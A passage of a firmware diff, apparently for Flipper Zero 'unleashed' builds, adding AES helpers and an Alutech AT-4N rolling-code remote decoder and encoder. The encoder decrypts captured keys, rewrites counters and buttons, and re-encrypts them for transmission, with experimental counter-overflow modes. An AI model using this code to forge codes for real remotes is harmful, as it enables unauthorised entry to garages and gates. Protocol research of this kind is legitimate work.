+static void aes_mixcolumns_inv(uint8_t* state) {
+    uint8_t a, b, c, d;
+    for(uint8_t i = 0; i < 4; i++) {
+        a = state[i * 4];
+        b = state[i * 4 + 1];
+        c = state[i * 4 + 2];
+        d = state[i * 4 + 3];
+
+        uint8_t a2 = gf_mul2(a);
+        uint8_t a4 = gf_mul2(a2);
+        uint8_t a8 = gf_mul2(a4);
+        uint8_t b2 = gf_mul2(b);
+        uint8_t b4 = gf_mul2(b2);
+        uint8_t b8 = gf_mul2(b4);
+        uint8_t c2 = gf_mul2(c);
+        uint8_t c4 = gf_mul2(c2);
+        uint8_t c8 = gf_mul2(c4);
+        uint8_t d2 = gf_mul2(d);
+        uint8_t d4 = gf_mul2(d2);
+        uint8_t d8 = gf_mul2(d4);
+
+        state[i * 4] = (a8 ^ a4 ^ a2) ^ (b8 ^ b2 ^ b) ^ (c8 ^ c4 ^ c) ^ (d8 ^ d);
+        state[i * 4 + 1] = (a8 ^ a) ^ (b8 ^ b4 ^ b2) ^ (c8 ^ c2 ^ c) ^ (d8 ^ d4 ^ d);
+        state[i * 4 + 2] = (a8 ^ a4 ^ a) ^ (b8 ^ b) ^ (c8 ^ c4 ^ c2) ^ (d8 ^ d2 ^ d);
+        state[i * 4 + 3] = (a8 ^ a2 ^ a) ^ (b8 ^ b4 ^ b) ^ (c8 ^ c) ^ (d8 ^ d4 ^ d2);
+    }
+}
+
+static void aes_addroundkey(uint8_t* state, const uint8_t* round_key) {
+    for(uint8_t col = 0; col < 4; col++) {
+        state[col * 4] ^= round_key[col * 4];
+        state[col * 4 + 1] ^= round_key[col * 4 + 1];
+        state[col * 4 + 2] ^= round_key[col * 4 + 2];
+        state[col * 4 + 3] ^= round_key[col * 4 + 3];
+    }
+}
+
+void aes_key_expansion(const uint8_t* key, uint8_t* round_keys) {
+    for(uint8_t i = 0; i < 16; i++) {
+        round_keys[i] = key[i];
+    }
+
+    for(uint8_t i = 4; i < 44; i++) {
+        uint8_t prev_word_idx = (i - 1) * 4;
+        uint8_t b0 = round_keys[prev_word_idx];
+        uint8_t b1 = round_keys[prev_word_idx + 1];
+        uint8_t b2 = round_keys[prev_word_idx + 2];
+        uint8_t b3 = round_keys[prev_word_idx + 3];
+
+        if((i % 4) == 0) {
+            uint8_t new_b0 = aes_sbox[b1] ^ aes_rcon[(i / 4) - 1];
+            uint8_t new_b1 = aes_sbox[b2];
+            uint8_t new_b2 = aes_sbox[b3];
+            uint8_t new_b3 = aes_sbox[b0];
+            b0 = new_b0;
+            b1 = new_b1;
+            b2 = new_b2;
+            b3 = new_b3;
+        }
+
+        uint8_t back_word_idx = (i - 4) * 4;
+        b0 ^= round_keys[back_word_idx];
+        b1 ^= round_keys[back_word_idx + 1];
+        b2 ^= round_keys[back_word_idx + 2];
+        b3 ^= round_keys[back_word_idx + 3];
+
+        uint8_t curr_word_idx = i * 4;
+        round_keys[curr_word_idx] = b0;
+        round_keys[curr_word_idx + 1] = b1;
+        round_keys[curr_word_idx + 2] = b2;
+        round_keys[curr_word_idx + 3] = b3;
+    }
+}
+
+void aes128_encrypt(const uint8_t* expanded_key, uint8_t* data) {
+    uint8_t state[16];
+    memcpy(state, data, 16);
+
+    aes_addroundkey(state, &expanded_key[0]);
+
+    for(uint8_t round = 1; round < 10; round++) {
+        aes_subbytes(state);
+        aes_shiftrows(state);
+        aes_mixcolumns(state);
+        aes_addroundkey(state, &expanded_key[round * 16]);
+    }
+
+    aes_subbytes(state);
+    aes_shiftrows(state);
+    aes_addroundkey(state, &expanded_key[160]);
+
+    memcpy(data, state, 16);
+}
+
+void aes128_decrypt(const uint8_t* expanded_key, uint8_t* data) {
+    uint8_t state[16];
+    memcpy(state, data, 16);
+
+    aes_addroundkey(state, &expanded_key[160]);
+
+    for(uint8_t round = 9; round > 0; round--) {
+        aes_shiftrows_inv(state);
+        aes_subbytes_inv(state);
+        aes_addroundkey(state, &expanded_key[round * 16]);
+        aes_mixcolumns_inv(state);
+    }
+
+    aes_shiftrows_inv(state);
+    aes_subbytes_inv(state);
+    aes_addroundkey(state, &expanded_key[0]);
+
+    memcpy(data, state, 16);
+}
+
+void reverse_bits_in_bytes(uint8_t* data, uint8_t len) {
+    for(uint8_t i = 0; i < len; i++) {
+        uint8_t byte = data[i];
+        uint8_t step1 = ((byte & 0x55) << 1) | ((byte >> 1) & 0x55);
+        uint8_t step2 = ((step1 & 0x33) << 2) | ((step1 >> 2) & 0x33);
+        data[i] = ((step2 & 0x0F) << 4) | (step2 >> 4);
+    }
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/aes_common.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/aes_common.h
new file mode 100644
index 000000000..ba8168383
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/aes_common.h
@@ -0,0 +1,10 @@
+#pragma once
+
+#include "base.h"
+
+#include <furi.h>
+
+void reverse_bits_in_bytes(uint8_t* data, uint8_t len);
+void aes128_decrypt(const uint8_t* expanded_key, uint8_t* data);
+void aes128_encrypt(const uint8_t* expanded_key, uint8_t* data);
+void aes_key_expansion(const uint8_t* key, uint8_t* round_keys);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/alutech_at_4n.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/alutech_at_4n.c
new file mode 100644
index 000000000..959e3dbdb
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/alutech_at_4n.c
@@ -0,0 +1,931 @@
+#include "alutech_at_4n.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocoAlutech_at_4n"
+
+#define SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE         0xFFFFFFFFFFFFFFFF
+#define SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES 32
+
+//variable used to bypass CounterMode settings if user just change Counter or Button
+static bool bypass = false;
+
+static const SubGhzBlockConst subghz_protocol_alutech_at_4n_const = {
+    .te_short = 400,
+    .te_long = 800,
+    .te_delta = 140,
+    .min_count_bit_for_found = 72,
+};
+
+struct SubGhzProtocolDecoderAlutech_at_4n {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint32_t crc;
+    uint16_t header_count;
+
+    const char* alutech_at_4n_rainbow_table_file_name;
+};
+
+struct SubGhzProtocolEncoderAlutech_at_4n {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+    const char* alutech_at_4n_rainbow_table_file_name;
+    uint32_t crc;
+};
+
+typedef enum {
+    Alutech_at_4nDecoderStepReset = 0,
+    Alutech_at_4nDecoderStepCheckPreambula,
+    Alutech_at_4nDecoderStepSaveDuration,
+    Alutech_at_4nDecoderStepCheckDuration,
+} Alutech_at_4nDecoderStep;
+
+static uint8_t alutech_at4n_counter_mode = 0;
+
+const SubGhzProtocolDecoder subghz_protocol_alutech_at_4n_decoder = {
+    .alloc = subghz_protocol_decoder_alutech_at_4n_alloc,
+    .free = subghz_protocol_decoder_alutech_at_4n_free,
+
+    .feed = subghz_protocol_decoder_alutech_at_4n_feed,
+    .reset = subghz_protocol_decoder_alutech_at_4n_reset,
+
+    .get_hash_data = subghz_protocol_decoder_alutech_at_4n_get_hash_data,
+    .serialize = subghz_protocol_decoder_alutech_at_4n_serialize,
+    .deserialize = subghz_protocol_decoder_alutech_at_4n_deserialize,
+    .get_string = subghz_protocol_decoder_alutech_at_4n_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_alutech_at_4n_encoder = {
+    .alloc = subghz_protocol_encoder_alutech_at_4n_alloc,
+    .free = subghz_protocol_encoder_alutech_at_4n_free,
+
+    .deserialize = subghz_protocol_encoder_alutech_at_4n_deserialize,
+    .stop = subghz_protocol_encoder_alutech_at_4n_stop,
+    .yield = subghz_protocol_encoder_alutech_at_4n_yield,
+};
+
+const SubGhzProtocol subghz_protocol_alutech_at_4n = {
+    .name = SUBGHZ_PROTOCOL_ALUTECH_AT_4N_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_alutech_at_4n_decoder,
+    .encoder = &subghz_protocol_alutech_at_4n_encoder,
+};
+
+static void subghz_protocol_alutech_at_4n_remote_controller(
+    SubGhzBlockGeneric* instance,
+    uint8_t crc,
+    const char* file_name);
+
+void* subghz_protocol_encoder_alutech_at_4n_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderAlutech_at_4n* instance =
+        malloc(sizeof(SubGhzProtocolEncoderAlutech_at_4n));
+
+    instance->base.protocol = &subghz_protocol_alutech_at_4n;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 512;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+
+    instance->alutech_at_4n_rainbow_table_file_name =
+        subghz_environment_get_alutech_at_4n_rainbow_table_file_name(environment);
+    if(instance->alutech_at_4n_rainbow_table_file_name) {
+        FURI_LOG_I(
+            TAG, "Loading rainbow table from %s", instance->alutech_at_4n_rainbow_table_file_name);
+    }
+
+    return instance;
+}
+
+void subghz_protocol_encoder_alutech_at_4n_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderAlutech_at_4n* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+void subghz_protocol_encoder_alutech_at_4n_stop(void* context) {
+    SubGhzProtocolEncoderAlutech_at_4n* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_alutech_at_4n_yield(void* context) {
+    SubGhzProtocolEncoderAlutech_at_4n* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+/**
+ * Read bytes from buffer array with rainbow table 
+ * @param buffer Pointer to decrypted magic data buffer
+ * @param number_alutech_at_4n_magic_data number in the array
+ * @return alutech_at_4n_magic_data
+ */
+static uint32_t subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(
+    uint8_t* buffer,
+    uint8_t number_alutech_at_4n_magic_data) {
+    uint32_t address = number_alutech_at_4n_magic_data * sizeof(uint32_t);
+    uint32_t alutech_at_4n_magic_data = 0;
+
+    for(size_t i = address; i < (address + sizeof(uint32_t)); i++) {
+        alutech_at_4n_magic_data = (alutech_at_4n_magic_data << 8) | buffer[i];
+    }
+
+    return alutech_at_4n_magic_data;
+}
+
+static uint8_t subghz_protocol_alutech_at_4n_crc(uint64_t data) {
+    uint8_t* p = (uint8_t*)&data;
+    uint8_t crc = 0xff;
+    for(uint8_t y = 0; y < 8; y++) {
+        crc = crc ^ p[y];
+        for(uint8_t i = 0; i < 8; i++) {
+            if((crc & 0x80) != 0) {
+                crc <<= 1;
+                crc ^= 0x31;
+            } else {
+                crc <<= 1;
+            }
+        }
+    }
+    return crc;
+}
+
+static uint8_t subghz_protocol_alutech_at_4n_decrypt_data_crc(uint8_t data) {
+    uint8_t crc = data;
+    for(uint8_t i = 0; i < 8; i++) {
+        if((crc & 0x80) != 0) {
+            crc <<= 1;
+            crc ^= 0x31;
+        } else {
+            crc <<= 1;
+        }
+    }
+    return ~crc;
+}
+
+static uint64_t subghz_protocol_alutech_at_4n_decrypt(uint64_t data, const char* file_name) {
+    // load and decrypt rainbow table from file to buffer array in RAM
+    if(!file_name) return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
+
+    uint8_t buffer[SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES] = {0};
+    uint8_t* buffer_ptr = (uint8_t*)&buffer;
+
+    if(subghz_keystore_raw_get_data(
+           file_name, 0, buffer, SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES)) {
+    } else {
+        return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
+    }
+
+    uint8_t* p = (uint8_t*)&data;
+    uint32_t data1 = p[0] << 24 | p[1] << 16 | p[2] << 8 | p[3];
+    uint32_t data2 = p[4] << 24 | p[5] << 16 | p[6] << 8 | p[7];
+    uint32_t data3 = 0;
+    uint32_t magic_data[] = {
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 0),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 1),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 2),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 3),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 4),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 5)};
+
+    uint32_t i = magic_data[0];
+    do {
+        data2 = data2 -
+                ((magic_data[1] + (data1 << 4)) ^ ((magic_data[2] + (data1 >> 5)) ^ (data1 + i)));
+        data3 = data2 + i;
+        i += magic_data[3];
+        data1 =
+            data1 - ((magic_data[4] + (data2 << 4)) ^ ((magic_data[5] + (data2 >> 5)) ^ data3));
+    } while(i != 0);
+
+    p[0] = (uint8_t)(data1 >> 24);
+    p[1] = (uint8_t)(data1 >> 16);
+    p[3] = (uint8_t)data1;
+    p[4] = (uint8_t)(data2 >> 24);
+    p[5] = (uint8_t)(data2 >> 16);
+    p[2] = (uint8_t)(data1 >> 8);
+    p[6] = (uint8_t)(data2 >> 8);
+    p[7] = (uint8_t)data2;
+
+    return data;
+}
+
+static uint64_t subghz_protocol_alutech_at_4n_encrypt(uint64_t data, const char* file_name) {
+    // load and decrypt rainbow table from file to buffer array in RAM
+    if(!file_name) return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
+
+    uint8_t buffer[SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES] = {0};
+    uint8_t* buffer_ptr = (uint8_t*)&buffer;
+
+    if(subghz_keystore_raw_get_data(
+           file_name, 0, buffer, SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES)) {
+    } else {
+        return SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE;
+    }
+
+    uint8_t* p = (uint8_t*)&data;
+    uint32_t data1 = 0;
+    uint32_t data2 = p[0] << 24 | p[1] << 16 | p[2] << 8 | p[3];
+    uint32_t data3 = p[4] << 24 | p[5] << 16 | p[6] << 8 | p[7];
+    uint32_t magic_data[] = {
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 6),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 4),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 5),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 1),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 2),
+        subghz_protocol_alutech_at_4n_get_magic_data_from_buffer(buffer_ptr, 0)};
+
+    do {
+        data1 = data1 + magic_data[0];
+        data2 = data2 + ((magic_data[1] + (data3 << 4)) ^
+                         ((magic_data[2] + (data3 >> 5)) ^ (data1 + data3)));
+        data3 = data3 + ((magic_data[3] + (data2 << 4)) ^
+                         ((magic_data[4] + (data2 >> 5)) ^ (data1 + data2)));
+    } while(data1 != magic_data[5]);
+    p[0] = (uint8_t)(data2 >> 24);
+    p[1] = (uint8_t)(data2 >> 16);
+    p[3] = (uint8_t)data2;
+    p[4] = (uint8_t)(data3 >> 24);
+    p[5] = (uint8_t)(data3 >> 16);
+    p[2] = (uint8_t)(data2 >> 8);
+    p[6] = (uint8_t)(data3 >> 8);
+    p[7] = (uint8_t)data3;
+
+    return data;
+}
+
+static bool subghz_protocol_alutech_at_4n_gen_data(
+    SubGhzProtocolEncoderAlutech_at_4n* instance,
+    uint8_t btn) {
+    uint64_t data = subghz_protocol_blocks_reverse_key(instance->generic.data, 64);
+
+    data = subghz_protocol_alutech_at_4n_decrypt(
+        data, instance->alutech_at_4n_rainbow_table_file_name);
+    uint8_t crc = data >> 56;
+    if(crc == subghz_protocol_alutech_at_4n_decrypt_data_crc((uint8_t)((data >> 8) & 0xFF))) {
+        instance->generic.btn = (uint8_t)data & 0xFF;
+        instance->generic.cnt = (uint16_t)(data >> 8) & 0xFFFF;
+        instance->generic.serial = (uint32_t)(data >> 24) & 0xFFFFFFFF;
+    }
+
+    // if we change counter/button in SignalSettings menu then we must bypass counter_modes, just gen and save signal file.
+    if(subghz_block_generic_global.cnt_need_override) bypass = true;
+
+    if((alutech_at4n_counter_mode == 0) || bypass) {
+        // Check for OFEX (overflow experimental) mode
+        if((furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) || bypass) {
+            bypass = false;
+            // standart counter mode. PULL data from subghz_block_generic_global variables
+            if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+                // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+                if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
+                    instance->generic.cnt = 0;
+                } else {
+                    instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+                }
+            }
+        } else {
+            //OFFEX mode
+            if((instance->generic.cnt + 0x1) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+                instance->generic.cnt = 0xFFFE;
+            } else {
+                instance->generic.cnt++;
+            }
+        }
+    } else if(alutech_at4n_counter_mode == 1) {
+        // Mode 1
+        // 0000 / 0001 / FFFE / FFFF
+        if((instance->generic.cnt + 0x1) > 0xFFFF) {
+            instance->generic.cnt = 0;
+        } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+            instance->generic.cnt = 0xFFFE;
+        } else {
+            instance->generic.cnt++;
+        }
+    } else {
+        // Mode 2
+        // 0x0000 / 0x0001 / 0x0002 / 0x0003 / 0x0004 / 0x0005
+        if(instance->generic.cnt >= 0x0005) {
+            instance->generic.cnt = 0;
+        } else {
+            instance->generic.cnt++;
+        }
+    }
+    crc = subghz_protocol_alutech_at_4n_decrypt_data_crc((uint8_t)(instance->generic.cnt & 0xFF));
+    data = (uint64_t)crc << 56 | (uint64_t)instance->generic.serial << 24 |
+           (uint32_t)instance->generic.cnt << 8 | btn;
+
+    data = subghz_protocol_alutech_at_4n_encrypt(
+        data, instance->alutech_at_4n_rainbow_table_file_name);
+    crc = subghz_protocol_alutech_at_4n_crc(data);
+    instance->generic.data = subghz_protocol_blocks_reverse_key(data, 64);
+    instance->crc = subghz_protocol_blocks_reverse_key(crc, 8);
+    return true;
+}
+
+bool subghz_protocol_alutech_at_4n_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolEncoderAlutech_at_4n* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.cnt = cnt;
+    instance->generic.data_count_bit = 72;
+    if(subghz_protocol_alutech_at_4n_gen_data(instance, btn)) {
+        if((subghz_block_generic_serialize(&instance->generic, flipper_format, preset) !=
+            SubGhzProtocolStatusOk)) {
+            FURI_LOG_E(TAG, "Serialize error");
+            return false;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            return false;
+        }
+        if(!flipper_format_insert_or_update_uint32(flipper_format, "CRC", &instance->crc, 1)) {
+            FURI_LOG_E(TAG, "Unable to add CRC");
+            return false;
+        }
+    }
+    return true;
+}
+
+/**
+ * Defines the button value for the current btn_id
+ * Basic set | 0x11 | 0x22 | 0xFF | 0x44 | 0x33 |
+ * @return Button code
+ */
+static uint8_t subghz_protocol_alutech_at_4n_get_btn_code(void);
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderAlutech instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_alutech_at_4n_get_upload(
+    SubGhzProtocolEncoderAlutech_at_4n* instance,
+    uint8_t btn) {
+    furi_assert(instance);
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(btn);
+    }
+
+    btn = subghz_protocol_alutech_at_4n_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&btn)) {
+        bypass = true;
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
+    }
+
+    // Gen new key
+    if(!subghz_protocol_alutech_at_4n_gen_data(instance, btn)) {
+        return false;
+    }
+
+    size_t index = 0;
+    // Send preambula
+    for(uint8_t i = 0; i < 12; ++i) {
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short); // 1
+        instance->encoder.upload[index++] = level_duration_make(
+            false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short); // 0
+    }
+
+    instance->encoder.upload[index - 1].duration +=
+        (uint32_t)subghz_protocol_alutech_at_4n_const.te_short * 9;
+
+    // Send key data
+    for(uint8_t i = 64; i > 0; --i) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
+        } else {
+            //0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
+        }
+    }
+    // Send crc
+    for(uint8_t i = 8; i > 0; --i) {
+        if(bit_read(instance->crc, i - 1)) {
+            //1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
+        } else {
+            //0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_alutech_at_4n_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_alutech_at_4n_const.te_short);
+        }
+    }
+    // Inter-frame silence
+    instance->encoder.upload[index - 1].duration +=
+        (uint32_t)subghz_protocol_alutech_at_4n_const.te_long * 20;
+
+    size_t size_upload = index;
+
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    return true;
+}
+
+SubGhzProtocolStatus subghz_protocol_encoder_alutech_at_4n_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderAlutech_at_4n* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+
+        if(!flipper_format_read_uint32(flipper_format, "CRC", (uint32_t*)&instance->crc, 1)) {
+            FURI_LOG_E(TAG, "Missing CRC");
+            break;
+        }
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint32_t tmp_counter_mode;
+        if(flipper_format_read_uint32(flipper_format, "CounterMode", &tmp_counter_mode, 1)) {
+            alutech_at4n_counter_mode = (uint8_t)tmp_counter_mode;
+        } else {
+            alutech_at4n_counter_mode = 0;
+        }
+
+        subghz_protocol_alutech_at_4n_remote_controller(
+            &instance->generic, instance->crc, instance->alutech_at_4n_rainbow_table_file_name);
+
+        subghz_protocol_encoder_alutech_at_4n_get_upload(instance, instance->generic.btn);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        if(!flipper_format_update_uint32(flipper_format, "CRC", &instance->crc, 1)) {
+            FURI_LOG_E(TAG, "Unable to add CRC");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+void* subghz_protocol_decoder_alutech_at_4n_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolDecoderAlutech_at_4n* instance =
+        malloc(sizeof(SubGhzProtocolDecoderAlutech_at_4n));
+    instance->base.protocol = &subghz_protocol_alutech_at_4n;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->alutech_at_4n_rainbow_table_file_name =
+        subghz_environment_get_alutech_at_4n_rainbow_table_file_name(environment);
+    if(instance->alutech_at_4n_rainbow_table_file_name) {
+        FURI_LOG_I(
+            TAG, "Loading rainbow table from %s", instance->alutech_at_4n_rainbow_table_file_name);
+    }
+    return instance;
+}
+
+void subghz_protocol_decoder_alutech_at_4n_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+    instance->alutech_at_4n_rainbow_table_file_name = NULL;
+    free(instance);
+}
+
+void subghz_protocol_decoder_alutech_at_4n_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+    instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
+}
+
+void subghz_protocol_decoder_alutech_at_4n_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderAlutech_at_4n* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case Alutech_at_4nDecoderStepReset:
+        if((level) && DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short) <
+                          subghz_protocol_alutech_at_4n_const.te_delta) {
+            instance->decoder.parser_step = Alutech_at_4nDecoderStepCheckPreambula;
+            instance->header_count++;
+        }
+        break;
+    case Alutech_at_4nDecoderStepCheckPreambula:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short) <
+                        subghz_protocol_alutech_at_4n_const.te_delta)) {
+            instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
+            break;
+        }
+        if((instance->header_count > 9) &&
+           (DURATION_DIFF(duration, subghz_protocol_alutech_at_4n_const.te_short * 10) <
+            subghz_protocol_alutech_at_4n_const.te_delta * 10)) {
+            // Found header
+            instance->decoder.parser_step = Alutech_at_4nDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
+            instance->header_count = 0;
+        }
+        break;
+    case Alutech_at_4nDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = Alutech_at_4nDecoderStepCheckDuration;
+        }
+        break;
+    case Alutech_at_4nDecoderStepCheckDuration:
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_alutech_at_4n_const.te_short * 2 +
+                            subghz_protocol_alutech_at_4n_const.te_delta)) {
+                //add last bit
+                if(DURATION_DIFF(
+                       instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_short) <
+                   subghz_protocol_alutech_at_4n_const.te_delta) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                } else if(
+                    DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_long) <
+                    subghz_protocol_alutech_at_4n_const.te_delta * 2) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+
+                // Found end TX
+                instance->decoder.parser_step = Alutech_at_4nDecoderStepReset;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_alutech_at_4n_const.min_count_bit_for_found) {
+                    if(instance->generic.data != instance->generic.data_2) {
+                        instance->generic.data = instance->generic.data_2;
+
+                        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                        instance->crc = instance->decoder.decode_data;
+
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                    instance->decoder.decode_data = 0;
+                    instance->decoder.decode_count_bit = 0;
+                    instance->header_count = 0;
+                }
+                break;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_alutech_at_4n_const.te_short) <
